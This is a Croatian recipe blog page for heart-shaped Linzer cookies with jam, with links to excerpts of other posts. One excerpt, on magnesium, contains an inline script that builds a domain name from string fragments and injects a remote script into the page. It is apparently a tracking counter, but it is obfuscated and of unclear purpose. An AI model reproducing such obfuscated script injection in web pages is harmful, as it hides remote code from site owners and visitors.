LINZERI - PRHKI KEKSIĆI S PEKMEZOM U OBLIKU SRCA


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Linzeri - prhki keksići s pekmezom u obliku srca 

https://www.journal.hr/lifestyle/gastro/linzeri-recept/


Ime su dobili po austrijskom gradu Linzu, no s vremenom su postali nezaobilazni dio božićnih stolova diljem Europe. No, osim u božićnom razdoblju, obavezno ih radimo svake godine i za Valentinovo. Nema ljepšeg znaka pažnje za naše bližnje – a nama je ova slatka gesta već toliko draga da ne možemo zamisliti dane ljubavi bez linzera u obliku srca, naravno s crvenim pekmezom.





Linzeri 

Sastojci (za oko 30–40 keksića)

  • 250 g glatkog brašna
  • 150 g maslaca
  • 100 g šećera
  • 1 vanilin šećer
  • 1 jaje
  • 100 g mljevenih badema ili lješnjaka
  • naribana korica 1 limuna (po želji)
  • prstohvat soli
  • pekmez od maline ili višnje
  • šećer u prahu (za posipanje)



Priprema:

  • U zdjeli pomiješajte brašno, mljevene bademe, šećer, vanilin šećer i sol.
  • Dodajte omekšali maslac narezan na komadiće i jaje. Umijesite glatko tijesto. Ako je tijesto premekano, dodajte malo brašna.
  • Oblikujte tijesto u disk, zamotajte u prozirnu foliju i stavite u hladnjak na najmanje 1 sat.
  • Ohlađeno tijesto razvaljajte na pobrašnjenoj podlozi na debljinu 3–4 mm. Izrežite oblike srca (pune i šuplje).
  • Keksiće posloži na lim obložen papirom za pečenje i pecite u prethodno zagrijanoj pećnici na 170°C oko 8–10 minuta, dok rubovi lagano ne požute.
  • Kad se keksi ohlade, cijele donje dijelove premažite tankim slojem pekmeza. Poklopi ih gornjim dijelovima, odnosno šupljim srcima.
  • Lagano pospite šećerom u prahu.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više